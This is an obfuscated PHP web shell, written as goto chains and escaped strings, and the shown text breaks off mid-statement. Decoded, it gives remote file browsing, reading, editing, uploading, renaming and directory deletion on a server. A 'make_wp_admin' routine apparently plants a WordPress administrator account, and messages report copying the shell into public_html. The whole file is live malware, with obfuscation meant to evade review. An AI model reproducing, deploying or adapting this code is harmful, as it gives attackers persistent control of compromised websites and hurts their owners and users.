goto E7tbT; wzZwl: goto wTz4X; goto q1GnM; HAlIQ: goto Kh7RI; goto NUbuO; Xr5mb: goto Fx4lB; goto PO6As; mmOEo: yfJ3Q: goto XZUKX; Ne70u: goto gDD_e; goto cUH_d; C5uPW: goto ir38f; goto pDWOG; e1isF: goto OpOIn; goto H8m2U; anKeV: goto WPqri; goto x8XLi; m_bii: goto DQAju; goto hUsW0; zLlAO: W04iN: goto enCH1; AV0Ca: O6TVY: goto bawC0; j1nt_: G5zCG: goto xyJGz; vZIZa: IHmUd: goto KTMKG; oWGyJ: oPcBJ: goto tQYso; ioM0M: XpVRy: goto Frj3n; hk2Cv: bt2Mo: goto REPKx; XSJNG: goto Mm4pS; goto NnasV; T4g40: if (!$NySlu) { goto gNqUC; } goto gbJ7Q; vsyfU: ir38f: goto j7TQP; gbQSf: NGfsY: goto pjo2x; eyoHR: goto nOhdC; goto Lse7n; xyVHx: goto IoSkJ; goto cjYXS; tQYso: BZarw: goto fG9MN; NSWf6: g7wPa: goto E7Fui; Pon0h: cYirU: goto PkbjQ; y11Cz: goto ZBltR; goto rdVee; Frj3n: ak6y8: goto gdWEw; dR0uK: goto IHmUd; goto mmOEo; C1XOa: goto TFXVD; goto pqxQH; NUbuO: O_rAU: goto EKa54; WzB2_: goto TgnkZ; goto d5BL5; zB_Lr: goto bt2Mo; goto txZJv; yFj2v: goto a38SL; goto Ymuz7; a3KHu: skbzo: goto e1isF; fG9MN: goto skbzo; goto BJs1m; U7qGD: goto ygBm1; goto lyRId; ytgoV: return $HbhNW; goto dR0uK; czRc4: goto Go7_O; goto OxUqq; v1ojR: goto CWv87; goto DLBKI; Hn2VE: goto C1hUL; goto pcHT8; PeXwr: goto EDsBy; goto zxEIp; Ww0iN: goto tqHsE; goto xQELg; M3mDa: goto MPuuV; goto QD4S4; yYxSX: goto O6TVY; goto veIQX; Acc8r: CVtE9: goto adcDm; enCH1: goto sUQ5Z; goto N2XVx; awPpR: goto PT_Ta; goto jgKDl; adl6_: } goto fK2Ze; edyxl: goto yaI1b; goto nZOWZ; Qe10l: XMPXG: goto APQLu; Hq1MR: AG2ub: goto k5H1Z; Kk1Ev: goto wlg9r; goto D6Njc; xLzC1: goto n4Z1k; goto VEAiq; lYu0j: goto LJCXQ; goto rs4y2; DJbID: goto AyUTC; goto sjCR2; k4Vi5: goto WBdv7; goto PKpvj; V19mR: goto WytPZ; goto pX0zf; jNPBL: NlnCg: goto ilDZF; cEhU0: goto mNINs; goto kT4U8; S32af: goto eJqKf; goto LQbME; hEI3Z: v1oOS: goto jEBL_; XYHQP: goto yqCJY; goto SPBAn; NSXyq: goto rD0Y7; goto Qbrza; FWA0z: goto iFm00; goto LnECi; HrEHe: goto j4fbo; goto G5i85; AZ32v: ppimC: goto AUr_O; ZgZvc: zPqro: goto iGDOl; Pbwpu: Epaeb: goto mXvip; RLu8M: goto R7fQw; goto X_Rx5; ouUdy: DItA6: goto uSV6y; L2A51: goto lynu2; goto Y5uU5; leSQu: goto VM7J8; goto i6_nO; a2E2o: goto JLx3x; goto Ek6CX; j51ry: function hVc0_($KUX1S) { goto dRpfn; yb6Jz: ygkoP: goto icaW3; KSI1f: NZxQa: goto ELzuv; R4Pjl: goto fbt_h; goto NYrgA; N1ARZ: D6c0g: goto X4uPo; NbNTy: goto uWrgU; goto xJUOx; ELzuv: Rw1Rw: goto SvWDS; ffEVs: return implode("\x20\57\x20", $wDHLd); goto nzrJU; UeFRy: LvEo_: goto Tnjxf; YTlF0: ljf7g: goto khYPQ; UPRn3: SGKIt: goto nVISa; Ir0s0: rTV6t: goto R4Pjl; gnVwy: sEGJ2: goto XH09t; hrcfF: goto ljf7g; goto w2txh; xp4U4: f7XrP: goto NbNTy; ZNOb5: goto O77Yp; goto Iwp3Q; lEyqb: cX7gb: goto y0iCR; NYrgA: goto dGn7y; goto SIVxv; RKJoq: goto e_YbJ; goto KSI1f; khYPQ: goto f7XrP; goto RKJoq; y0iCR: $N1Vw9 = explode(DIRECTORY_SEPARATOR, trim($KUX1S, DIRECTORY_SEPARATOR)); goto ZNOb5; GSUZH: goto cX7gb; goto GPMKC; dRpfn: goto rTV6t; goto OFTwZ; e1GpP: goto wLiNG; goto I3wCJ; xJUOx: Duzfp: goto U5Ffc; U5Ffc: goto Rw1Rw; goto Z0zEp; LYgVT: EKo9Z: goto tItwu; I3wCJ: goto gKOk1; goto lEyqb; X4uPo: $wDHLd = []; goto OlO4m; bmjXm: e_YbJ: goto gnVwy; jQxfd: goto D6c0g; goto x9rkz; AuxXT: tt48V: goto utI_H; Lw8z7: Rh1yR: goto Bl2uH; nVISa: goto Rh1yR; goto YTlF0; ID50w: goto NZxQa; goto qtcLe; Tnjxf: goto SGKIt; goto I5XUK; JTtUS: wGXjs: goto u_LH0; SvWDS: goto og8KB; goto Ir0s0; SIVxv: XBHfV: goto SrKjr; GPMKC: O77Yp: goto Y8PuN; x9rkz: og8KB: goto UAIAF; Z0zEp: goto XBHfV; goto UeFRy; qtcLe: dGn7y: goto DKUkr; XH09t: goto EKo9Z; goto Lw8z7; EvqIL: goto GTNmH; goto RLIjX; RLIjX: o5bGu: goto xp4U4; icaW3: goto tJHuK; goto zGeyO; yO2LB: eg_AM: goto oRGZs; h1ZyS: goto ygkoP; goto bmjXm; w2txh: AV25C: goto e1GpP; Iwp3Q: GTNmH: goto NRbqB; SEnBq: xD6VU: goto AuxXT; NRbqB: foreach ($N1Vw9 as $yacO1) { goto u4FCS; a00vt: KANDx: goto cI4E2; VLgAF: goto ee1rZ; goto A9IYt; ZjAxK: goto ieQn9; goto w6prJ; cI4E2: bg27m: goto fkUuL; u5ld_: goto w53jv; goto vGwc0; FN5Yb: goto EuCfZ; goto BtYzF; tFqia: goto KCBMG; goto a00vt; MOxr5: qv1wd: goto O4ush; Nr_Ai: ee1rZ: goto Y1zjR; zHBVT: goto fBknH; goto ZjAxK; s0k0V: GGMr3: goto UbeGH; uBMR2: goto Hd9ZN; goto s0k0V; Ax12D: goto KANDx; goto tjcqe; UbeGH: xdAW0: goto s4F80; XXM28: KCBMG: goto unnhb; pbErz: goto AjTxK; goto t1mcA; vGwc0: EuCfZ: goto zHBVT; unnhb: fBknH: goto Ax12D; w6prJ: ieQn9: goto bDdGS; t1mcA: w53jv: goto VLgAF; SZJYB: goto qD3cK; goto NZVD_; NZVD_: Hd9ZN: goto gmOaE; O4ush: kNOBc: goto FN5Yb; Jjr4v: CLJbs: goto aK0DX; y5wQF: qD3cK: goto OE6xc; OE6xc: $wDHLd[] = "\x3c\x61\40\150\x72\145\146\x3d\47\x3f\x64\151\162\x3d" . urlencode($d2iGd) . "\x27\76{$yacO1}\74\57\x61\x3e"; goto u5ld_; gmOaE: $d2iGd .= DIRECTORY_SEPARATOR . $yacO1; goto pbErz; u4FCS: goto U0Zb1; goto MOxr5; aK0DX: rjCER: goto SZJYB; bDdGS: JQB4m: goto uBMR2; BtYzF: qCIQy: goto Nr_Ai; edN7F: goto CLJbs; goto i8ne8; fYf99: goto rjCER; goto tFqia; tjcqe: U0Zb1: goto GxUlU; Y1zjR: goto qv1wd; goto XXM28; GxUlU: goto JQB4m; goto edN7F; fkUuL: goto GGMr3; goto Jjr4v; i8ne8: AjTxK: goto fYf99; A9IYt: goto qCIQy; goto y5wQF; s4F80: } goto yO2LB; nzrJU: goto Duzfp; goto yb6Jz; zGeyO: goto o5bGu; goto LYgVT; OlO4m: goto AV25C; goto JTtUS; OFTwZ: uWrgU: goto ffEVs; oRGZs: goto xD6VU; goto SEnBq; Y8PuN: goto sEGJ2; goto ID50w; Bl2uH: Ntmmr: goto hrcfF; DKUkr: tJHuK: goto EvqIL; tItwu: $d2iGd = ''; goto h1ZyS; u_LH0: fbt_h: goto jQxfd; utI_H: goto LvEo_; goto Twds7; Twds7: gKOk1: goto UPRn3; I5XUK: goto wGXjs; goto N1ARZ; SrKjr: wLiNG: goto GSUZH; UAIAF: } goto kodTq; VNQhF: fx2Zt: goto HA_FL; PZ6FD: exit; goto edyxl; lfeQn: goto SsqsW; goto mEyIg; ciaPa: xjdod: goto E6mJN; MnYYv: iTVFz: goto EoMyx; A4CH8: LcHIH: goto rk09R; dROu6: if (!VId5H($fNAU7) && !FGfb9($q5ijL)) { goto nwZhy; } goto Jgez4; wpNnP: X_VRy: goto f6RtR; KksL3: goto KQR9L; goto pmAjj; Y6Vvz: Mpw0a: goto EJ23U; xrFa4: QJYuq: goto V3pkU; hQr7P: goto Xz6X1; goto ky0ox; O29SP: goto K14Rm; goto zF2eE; UDY38: $fNAU7 = "\x68\145\x6c\154"; goto uEoKz; NSBT6: xUQTL: goto Kw4uo; nZOWZ: Bd7cS: goto lbfVf; rPcjt: goto CFA22; goto VMC1l; APXSe: avda4: goto mCO_w; X385F: goto yg7sc; goto NW2YB; NS_P6: PLos3: goto pPv8_; ltaRC: Q_gWi: goto nPxWE; wEtCr: goto pHfPY; goto ruGiS; HOQAy: $D6V0J = $JdqDR; goto qXC8Y; LO8kc: goto rpkEp; goto c8Cpu; BT3jl: goto x9ZO3; goto JSfsG; g8omF: H4smI: goto kD6XT; lAoqM: goto jZG7w; goto I5E7B; n93Gk: goto nYEWv; goto N5T9R; t_u1g: goto R2RRw; goto CwWL8; OHyMs: iwDZz: goto lYu0j; VdjT6: goto m9e_l; goto gySkl; VgiTK: goto QBjIY; goto cYkRq; z31JX: goto uJ79M; goto i8LuC; XcJod: goto BiKFr; goto hbaSs; J5sJ6: goto h3Mkp; goto wbqkt; Woiag: goto vAzRU; goto UDF0S; Tvv8Y: c1Y1i: goto bX6wS; t045h: goto ufbsx; goto WtCDg; gvHGm: goto kcJFb; goto Y7GTZ; NO3ry: @rmdir($OYF8c); goto G8RQx; NkeNK: goto XTrPy; goto rSUiJ; HWvRS: kZyGP: goto LQM5f; gwbaH: evnh5: goto EZBND; PkpkD: goto c75GS; goto XlHGB; fc_1M: cc93s: goto W1og2; pAuzx: goto Gb0PB; goto Wrhjv; Y7GTZ: QRu0E: goto ptGrF; dzZAB: ipmoX: goto pLUNm; WD3OG: goto iMPZC; goto PQmoy; y2gjG: f9DLn: goto x6VNx; w48LP: goto iNoeY; goto JfLz2; flQBy: WZXZz: goto X3sGq; e4M5A: anH3D: goto HQKM6; UUu0V: GY9jC: goto rUxDS; Z1Gtb: goto r6FWt; goto s9Uw_; u4KuL: if (empty($_GET["\145\x64\151\164"])) { goto V35gp; } goto bBowp; wwM9e: yxPnN: goto JZsHU; OmVrv: goto YxNMY; goto N7YKq; MqVgE: pHfPY: goto xkb3Y; tUduY: FpsD2: goto t045h; TdN5J: Xyjxo: goto HwQDA; QDtwL: mUM1a: goto A8Ezk; i2ZBs: goto PQHpz; goto Q7X2c; XRlAm: goto kTdtq; goto yCmcS; rTRoz: KOHoK: goto S32af; akk14: goto CLznv; goto d12wZ; PQ0Gl: Rl7vB: goto XRlAm; tFVhH: Ig84v: goto lhDSv; gg0cD: uL9wg: goto Ux5iJ; GK0TK: RbW_B: goto OtWzu; whaQj: z1TRi: goto bUF72; IwVbW: fXR_9: goto AuBcD; crQvd: YdNYY: goto a2E2o; bsexg: LJCXQ: goto BIpk2; f3roe: yYo4F: goto MJUaz; beXJa: x9ZO3: goto JNX9T; RJOeG: lgAaq: goto b5yUa; EJ23U: goto wht1c; goto QqInZ; ZenZd: TiDrY: goto FekV5; Qx8j3: XYPS_: goto JfqKr; XJSAf: bB2bQ: goto jNLL5; cFk3g: qnoxP: goto GLdyC; JFlyl: iZ5nl: goto MAhYk; pp9c0: goto nvOF1; goto r4llA; OswRP: WjY0U: goto tkYCb; VQ2KN: goto HZzN_; goto fYcK6; ef1Kq: b2u9j: goto n4fUk; i8LuC: MeGcL: goto IYHeZ; Rke00: if (!(!empty($_POST["\162\x65\156\x61\155\x65\137\x6f\154\x64"]) && !empty($_POST["\162\x65\156\x61\x6d\145\x5f\x6e\x65\167"]))) { goto lBW6U; } goto oDR69; n5OFn: msEep: goto Ox6lK; r74bY: U3iSv: goto kDmxW; jFXX4: aF9v3: goto Zqsuk; tuGap: xVwRJ: goto FAw4n; njHeJ: goto wxbwg; goto NIV85; YRBfv: PlkQE: goto mxl49; HBo7O: goto GWlCj; goto O0kYN; SRLvP: echo "\74\x21\104\x4f\x43\124\x59\120\105\40\x68\x74\x6d\x6c\x3e\15\xa\15\12\x3c\x68\164\155\x6c\76\15\12\15\xa\x3c\150\145\x61\144\76\15\12\x9\74\x74\151\x74\x6c\145\76\347\x81\253\347\203\xa7\350\xb5\244\345\xa3\x81\x3c\57\x74\151\164\x6c\145\x3e\xd\12\x3c\57\x68\145\141\x64\x3e\15\12\74\x73\x74\x79\154\x65\x20\164\171\160\145\x3d\42\x74\145\170\164\57\143\163\x73\42\76\15\xa\x62\x6f\144\171\40\x7b\xd\12\40\40\157\166\x65\x72\x66\x6c\x6f\167\55\x78\72\150\151\144\x64\x65\156\x3b\xd\xa\x20\x20\x66\x6f\156\x74\x3a\x20\x31\x35\x70\170\x20\42\103\x65\x6e\164\165\162\x79\40\x47\x6f\164\x68\151\x63\42\54\40\42\124\151\x6d\x65\163\40\122\x6f\155\x61\x6e\42\54\x20\163\141\156\x73\x2d\163\x65\162\151\146\x3b\15\xa\40\x20\142\x61\143\x6b\147\x72\x6f\165\x6e\144\72\165\162\x6c\50\150\x74\164\x70\x73\72\57\x2f\x6b\56\x74\157\160\64\164\x6f\x70\x2e\151\x6f\57\x70\137\63\x30\x34\x34\x33\154\x70\x7a\x69\60\56\x6a\160\145\x67\x29\x3b\xd\xa\x62\141\x63\x6b\147\162\157\165\156\x64\x2d\151\x6d\x61\x67\145\72\40\x75\162\154\x28\x68\x74\164\x70\x73\x3a\x2f\x2f\x69\155\147\62\56\142\x61\151\x64\165\x2e\143\x6f\x6d\x2f\x69\164\57\x75\x3d\61\61\64\65\x31\x35\62\71\65\67\x2c\63\63\x33\64\x39\67\62\x33\x39\61\x26\x66\x6d\x3d\62\x35\x33\x26\146\x6d\x74\x3d\141\165\164\157\x26\x61\160\x70\75\x31\x33\70\46\146\x3d\112\120\x45\x47\77\x77\75\x38\61\x37\46\x68\75\65\60\60\51\x3b\15\xa\x20\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\x2d\163\x69\172\145\72\x20\x63\157\166\x65\x72\73\xd\12\40\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\55\x72\x65\160\145\141\164\72\40\156\157\55\162\145\160\145\141\x74\x3b\15\12\40\40\142\x61\x63\153\x67\x72\157\x75\x6e\x64\55\160\157\163\x69\x74\x69\x6f\156\x3a\40\143\145\156\x74\145\x72\x3b\15\xa\x20\x20\x62\x61\x63\x6b\147\162\157\x75\156\x64\55\141\164\164\141\143\x68\x6d\x65\x6e\164\x3a\x20\x66\151\170\x65\x64\x3b\15\12\x20\40\150\145\151\x67\x68\x74\72\x20\x31\x30\60\x25\73\15\xa\40\x20\175\15\12"; goto yAqpz; mB7Lg: QfHUS: goto M32Xs; tkYCb: if (empty($_POST["\156\145\x77\146\x6f\x6c\x64\x65\162"])) { goto FopiD; } goto a3NhY; NRbvr: LGqK1: goto iCa1I; m7UPp: TtH1T: goto T1VpJ; lMkl0: goto RZCVG; goto IHLnC; orK6d: JWLH7: goto ErcjN; p0nTf: goto wNquf; goto s49_e; v5Q9k: goto n2WkM; goto Pbwpu; d7rGB: IBF6h: goto wAzz2; LQM5f: VrXPo: goto SzvFg; CTQ0O: goto tcFgj; goto Tvv8Y; Aaa8o: OzJwW: goto zWsbZ; Nib1w: f5nlv: goto U1oqU; VTkSC: goto gRnHu; goto ofhv1; Ts3fo: goto ww1U4; goto o2mrB; C0AeL: goto Gu75W; goto OiT2O; ow3OF: uo4RA: goto Nhvxt; LnECi: zBf07: goto LHMHt; tLalb: AOh9o: goto PpMWV; txvvt: goto Nb5vy; goto Y1nBo; Mix7i: CNoYb: goto JgPGl; fz82N: nfbZG: goto pTdcs; cliCH: RchK3: goto O0SeS; zSz8T: VMmqS: goto E31b3; hlzGB: LWJCi: goto E9h2t; caCjE: goto SDqjo; goto x1zVu; BU70D: PQHpz: goto ROCbh; MH_RT: fIfaC: goto lwpYQ; mxgcF: goto blQpy; goto rOPBo; Due3P: sHnMK: goto tDj1L; tmKUJ: goto THXJD; goto guWkM; qB9Xc: LpCQF: goto M_ySO; EZBND: goto QynDU; goto UBRcL; XveWy: h3Mkp: goto DJbID; Jgez4: goto BWqdy; goto oD1Eb; uu3XS: pgQRW: goto cFVUB; QWgsx: goto anH3D; goto Q92Uz; JfLz2: goto EM03P; goto MNJZw; MCVU1: goto GY9jC; goto M4u07; BCH5S: goto FtsP2; goto D8WFc; vVZP1: a750m: goto H9R_F; zxPvx: echo "\x3c\57\x70\x3e\12"; goto fK7R0; S2lqR: $mdI48 = htmlspecialchars(file_get_contents($OYF8c)); goto ux48b; vmpMT: goto piN9u; goto I0aJC; Vxus2: ZeFgS: goto bShoH; qeEky: ZzPDj: goto KVKlT; Km40z: WYMTp: goto Qtv3E; b5kFp: plEkR: goto tObSm; H9R_F: goto Y3sBp; goto cao5i; ecvwl: goto TwgIS; goto yW17m; J9wD8: goto dsUxH; goto ebmTO; ZC7Hp: rOJ8q: goto gTqfp; kRugS: VdCSw: goto OkD6Y; Y3LoV: $hznvy .= "\74\144\151\x76\40\143\x6c\141\163\163\75\47\x6f\x6b\x27\x3e\303\xa2\305\x93\342\200\235\x20\x46\157\x6c\x64\145\162\x20\143\162\x65\141\164\145\144\74\57\144\151\166\76"; goto NkeNK; EV0lx: nZqz2: goto oizs9; J_Hln: vAzRU: goto wbKnl; OuzcA: goto T07g6; goto Axgfg; DSEOn: KPlKX: goto IK_DP; G1Qv8: X_zeJ: goto INFFL; oizs9: goto APpNG; goto vVZP1; r4llA: dYUUJ: goto qBLIC; nsdJy: zWmwG: goto C6DGU; xRuWG: goto Iu7Vm; goto ml1uh; bAvkV: EEaFa: goto SCKIJ; MfKxB: goto VdCSw; goto lGFhF; Lx0XR: goto Ihrld; goto JY0sP; Zoi8b: A9iGR: goto ekLqq; bq3T2: zicQ5: goto lMkl0; lg02d: TkaFs: goto d8vt9; zWsbZ: n_64s: goto xbpy_; LebU4: lynu2: goto qa8k3; gw4Nl: goto GTMrE; goto N0tdo; HozkL: JLhkU: goto bf9bm; uyNWu: B3ej5: goto uGhan; M2hcK: goto Q8yTR; goto pp9c0; DnLfo: GvS0d: goto jjccd; hnCgw: goto aw61p; goto LebU4; yCAjM: goto Y4A3c; goto bTx7G; YIuJn: rr71t: goto VQ2KN; FJHh0: goto N_uzv; goto GGQYr; HL_Ea: $txUKt = $JdqDR . "\x2f" . basename($_POST["\x6e\145\x77\x66\x6f\x6c\144\145\162"]); goto rQbqD; LQfqR: eB0P0: goto nMeT9; BgGg1: goto EBoDv; goto U3dVg; A3xpt: echo "\74\150\63\x3e\303\242\xc5\223\342\200\xa6\x20\x52\145\x70\154\x69\x63\141\x74\145\144\40\151\x6e\x74\x6f\40\160\165\x62\154\x69\x63\137\150\164\155\x6c\x3c\57\150\x33\x3e\x3c\x75\154\x3e"; goto c3Ecp; LK7PK: goto D9duu; goto SAtNS; LtWUT: goto Bq6R4; goto blQE1; dWM3l: goto RchK3; goto ybD6v; He2H7: goto En4Bl; goto PZazT; ecHb3: YbMjO: goto jFU8u; XfhKL: goto fAnBX; goto WD3OG; Yv5N0: goto XJ15u; goto YIuJn; c3Ecp: goto cBi0z; goto uzFib; fwefS: leovd: goto fT5pv; ukPCo: goto CxF4g; goto XJSAf; h1gA6: goto nYEWv; goto z31JX; XlHGB: Naw4a: goto fM7Ha; lJLwF: P_gAl: goto oilrT; qBgFi: s6Utd: goto xhqEf; bY7iK: goto DpIfg; goto LtWUT; X41GM: goto tC_To; goto RwT6B; JFMBg: if (empty($_POST["\x6d\x61\153\145\137\167\x70\x5f\141\x64\x6d\x69\156"])) { goto NlzaM; } goto L9t2s; tJTtt: CcQIm: goto FLvD1; KAvzx: goto PbdyU; goto O1XTW; dqcrq: h_uEZ: goto n93Gk; IH9CG: pW0Lg: goto LFZY3; nl37G: sHU8k: goto aO1F2; auij7: goto KrrW1; goto RCvXC; b8TnL: goto f9DLn; goto Y39BH; swcu0: DckSI: goto Xn1aA; TRK5g: goto BgbEE; goto Bd9pg; uqrbB: goto xwHle; goto BOUyM; T21kq: goto yxPnN; goto oaJ0w; av9h0: goto wfTR1; goto xhHtZ; l1Rhx: goto fpj30; goto lRc0U; iNEwI: fZku2: goto dO0pw; HFyGT: goto iZ4h4; goto kMj6k; Zqsuk: fAnBX: goto CsPsQ; tEAi1: $rIJSd = false; goto C0AeL; cg4ZT: c75GS: goto OHyMs; xhHtZ: JLx3x: goto A3xpt; yJhHf: goto Kh6bK; goto EOJg3; AXMDN: if (!($D6V0J !== dirname($D6V0J))) { goto NKnHC; } goto l1Rhx; J6ZxO: goto i_d0m; goto b5kFp; RADZh: yaI1b: goto bY7iK; NIV85: goto wodEv; goto nUHZj; RwT6B: Gu75W: goto ptU3E; h43tU: goto bEuoB; goto QBC7y; IGMxG: KX2Vx: goto WljjD; IK_DP: jZG7w: goto Ogr2e; FLgPu: $HF_AU = dirname($D8T_A) . "\57" . basename($_POST["\162\145\x6e\141\155\x65\x5f\156\145\167"]); goto UGaKU; I5E7B: XFYQV: goto d1lZ2; rs6hQ: Y43yk: goto d0ggy; pZvhC: goto zsCef; goto m7UPp; f6RtR: goto VNH2v; goto TLAgf; zOUTZ: EM91A: goto Bj6yj; rxL9a: goto P_gAl; goto lg02d; iAu5k: goto lAGKT; goto fZ4fb; blCrI: goto rivn3; goto HWvRS; jg0N4: goto Y43yk; goto Mg0kq; Suitv: $JglkV = basename($D8SPt); goto tvKkm; fm2b4: jFF3F: goto fMQvJ; FKta4: qtW4o: goto AXMDN; fO7IX: GFznw: goto OdSSG; YVnki: zzfx1: goto OAdsT; mVSsr: j_FJI: goto pq4ZS; cD76l: R2RRw: goto SU2aS; mCO_w: Uzca2: goto lfeQn; VEAiq: goto NJFPs; goto O_ANL; gTqfp: goto j_FJI; goto yIUPW; RnKjm: ves8O: goto qBbCO; Aub2J: goto wKHRo; goto oVXyY; DZPMO: goto WYMTp; goto a411L; QrSn1: goto pWS9l; goto nY_1Q; mxgon: goto lgzIG; goto ENk7J; VDpyM: goto Jp083; goto Qe10l; uAwQG: goto nfbZG; goto doVAA; dQAET: sbJX_: goto IImTN; idhLU: goto VPmxL; goto XLvuk; bIuzY: LGhol: goto WoibB; LQbME: XEsqk: goto xihPS; rUxDS: goto poMp0; goto SIi_F; lPC2j: gEPCt: goto jexem; TB1We: goto dzixS; goto vwZaR; MK6VQ: KQR9L: goto V9MeH; qGMZo: snGiW: goto W1Yey; U2iNi: CFA22: goto dQAET; KAIdj: YV7J3: goto LhIiH; IJm2S: JscKU: goto Pa9jH; VhhhS: DCCBg: goto Pne0_; KAk9t: d3u7B: goto PD19_; SXKBh: OPFVa: goto zGsRd; MLZJ1: iZ4h4: goto CMig3; JK3Qm: goto hHLeW; goto HtCJj; p3Slk: BPJ4w: goto ukPCo; hrlxR: goto VtXS1; goto uu3XS; RpT82: MdNLB: goto M9Oz6; pmKLG: goto hKkuU; goto zOUTZ; itVgW: goto V3DtT; goto Lvm8B; HK11o: YPNKf: goto zDrDe; O5gxF: goto ves8O; goto aGUgU; OtWzu: goto WEFVN; goto VENIm; gySkl: j4fbo: goto R5nt6; CNAMg: D9duu: goto QjW0N; OA0vJ: goto snGiW; goto eyg_4; YWduN: WEFVN: goto A8SPk; Xx6fd: goto EGZPJ; goto NO2YR; cLM9z: if (file_exists($bG34o)) { goto wssjk; } goto J9wD8; MMy0M: goto SbuXe; goto ivss1; yNu6z: goto oz3t7; goto Z_j7r; jexem: goto TiDrY; goto g8omF; a411L: SbDAZ: goto BU70D; Z3O3Z: rw_pK: goto swcu0; njHjZ: ocCsn: goto qrkn2; Nluj9: goto pgQRW; goto ouUdy; R5nt6: $bG34o = $JdqDR . "\x2f" . basename($_POST["\156\x65\167\146\151\154\x65"]); goto v5Q9k; YeYhj: goto MBBhg; goto gphJD; GETqH: goto GJ2ZZ; goto DnLfo; L3Tk1: VM7J8: goto UtBmG; yabSI: goto en_sG; goto jNPBL; BHdPu: goto JrmqN; goto DSEOn; nPxWE: a1JYq: goto xPu83; LZFK7: goto hZMkj; goto TOo3K; pvdiI: kcJFb: goto bP8J6; Kq6Pa: gw96m: goto ckwc3; Qy7Ry: KPedQ: goto GK0TK; Fkejm: oz3t7: goto X41GM; pLUNm: goto JDHCe; goto BcmUP; lGHlv: JMBjk: goto pAD7h; WZVIb: $mnQV8 = []; goto tmKUJ; K25PE: if (!file_exists($D6V0J . "\57\167\160\55\154\x6f\x61\144\x2e\160\x68\x70")) { goto nyuzB; } goto WsDjn; M7Gyp: goto MdNLB; goto QYSDt; xdHqL: goto DV0SF; goto igrmk; W57Aw: vL5xr: goto uyNWu; J96Mu: NlzaM: goto t_u1g; Ssrys: TepBx: goto Kdmp4; t1qmX: goto n1xAc; goto RooMC; gsbM5: fpj30: goto PQ4_q; N2oFC: goto dn0tW; goto KuLD8; eU41h: goto HPZNv; goto ik5MB; xzbO_: goto UhQNT; goto vhhzP; CeVou: Z2hdr: goto zEEkD; wmOwk: goto cgxrg; goto odVDg; HD2_Q: goto rF9Q0; goto APXSe; ItzMj: goto c6dT5; goto AZ32v; UL46I: U83vJ: goto MCVU1; qjebX: QynDU: goto PWPPT; yjdWQ: goto qXWNA; goto nmnAf; Qbrza: iWIvM: goto Zk18_; mAZJ3: c49UM: goto TVOEv; gco9H: goto DItA6; goto PQ0Gl; asy96: define("\172\70\x4d\171\x50", false); goto gUCUZ; aPMgW: bgQX6: goto b07Mx; VMC1l: h5315: goto U1Q6Z; Lvm8B: VRmhe: goto fG3tv; PC1uP: goto PdiyD; goto pvdiI; bkKIN: goto ZDDBq; goto iE4ih; vhhzP: goto eNrt1; goto fbCMn; sXGTh: goto rr71t; goto OdvU7; GFmeZ: eNrt1: goto soE6m; mxl49: Iu7Vm: goto P6I2Y; Ms1xZ: $hznvy .= "\74\144\151\x76\x20\143\154\141\x73\163\x3d\47\157\x6b\47\x3e\xc3\242\xc5\223\xe2\200\x9d\x20\x46\151\154\x65\x20\165\x70\x6c\x6f\x61\144\145\144\74\x2f\144\151\x76\76"; goto fUvG0; OE7sw: goto CNoYb; goto aziJz; RooMC: KJSI3: goto O0OJf; HI3Eh: $hznvy .= "\x3c\144\x69\166\40\143\x6c\x61\x73\x73\x3d\47\x6f\153\x27\76\xc3\xa2\xc5\223\xe2\x80\235\x20\x46\151\x6c\x65\x20\x63\x72\x65\141\164\145\x64\x3c\x2f\144\151\x76\76"; goto hQErw; n4fUk: if ($rIJSd) { goto IOF4v; } goto Xx6fd; y2JC5: wNquf: goto vU0kJ; yCmcS: goto FLR87; goto dhR5e; L9Ybt: goto U83vJ; goto zpDZN; KmQnX: goto hcjk0; goto cfBe5; QDb5k: goto fT1WW; goto oBIlN; qLPnR: goto HfICC; goto w6xZ2; Ek6CX: qXWNA: goto OMyEo; QrOof: if (!Wxn15($tUnme)) { goto TepBx; } goto zdsgU; c8Cpu: goto LMiFP; goto b5rBr; wY4I7: pfJQ7: goto UCa6o; dpuZk: L7_dP: goto gtyx3; ybD6v: THXJD: goto ONcuP; rx5Up: goto v0BK4; goto xH_q2; PDrj6: LUNp5: goto Iwiok; JgPGl: Elnla: goto LAQcH; oylB9: goto v26Id; goto h6GK8; odVDg: UWRL1: goto tuGap; FekV5: require_once $rIJSd; goto MMy0M; wV2dM: fdUer: goto qX85B; qoyb0: mmZKh: goto OLBkN; MjtI0: Cg50n: goto LvC12; L9t2s: goto cR2JV; goto J96Mu; CZLgn: pHswN: goto u_6Ay; soNvH: goto yRMAV; goto qBgFi; EuCPZ: goto vL5xr; goto GekuO; UGaKU: goto H9M8J; goto sZ75u; UBRcC: Ihrld: goto TAeJb; e4HMG: KYlTW: goto cS1Um; l14V2: goto kNvRZ; goto INens; z7lyU: QlU0m: goto qw6I2; QQ73s: goto nZqz2; goto p0nTf; TOo3K: wG4QQ: goto aJg8i; UmErq: goto Sh82s; goto EkRve; AW3Fk: if (is_dir($OYF8c)) { goto XVnA0; } goto zi3cN; zpDZN: en_sG: goto T7lRt; FumFJ: blQpy: goto GowsA; WOL8H: goto QJYuq; goto bZY1K; OdvU7: roQYD: goto C1n98; JmZFb: goto d3u7B; goto LlrPd; C1vkz: goto JR8P0; goto bCGEg; OBxJ0: fYnAP: goto qWOAB; MraaV: goto TeCIh; goto zfi1i; hyxRS: l8Ts7: goto gsbM5; t7D2Y: coM_j: goto r74bY; PD19_: UhQNT: goto KZ0MR; SYcSV: cgxrg: goto jWWrY; W1og2: W6f3O: goto EvyPb; gKF0b: lvK0j: goto x55BZ; s5nwg: gUKWt: goto yCAjM; idetg: ZbEA_: goto fabGN; QoIg6: goto HT2aX; goto wkKdZ; TXnS3: goto qEiXE; goto QPI4H; Wc2_k: goto K3Ir3; goto ef1Kq; IYHeZ: HZzN_: goto MFVnP; xHuA4: $oTlAS = $JdqDR . "\57" . basename($_FILES["\146\151\x6c\x65"]["\156\141\x6d\145"]); goto ePZM9; wRq1b: goto pxxt3; goto TPPFj; w1puP: goto EM91A; goto c_uLt; XkG1y: goto FeMir; goto TzBhQ; Yp3qL: ANHC2: goto lAkM5; aJg8i: $JdqDR = isset($_GET["\x64\151\x72"]) ? realpath($_GET["\144\151\x72"]) : getcwd(); goto C3gIo; vqmLF: goto C2lyi; goto mAZJ3; Bd9pg: goto WW7k1; goto RJOeG; fYCQN: goto B_6Vv; goto UV0l8; IwPeD: $hznvy .= 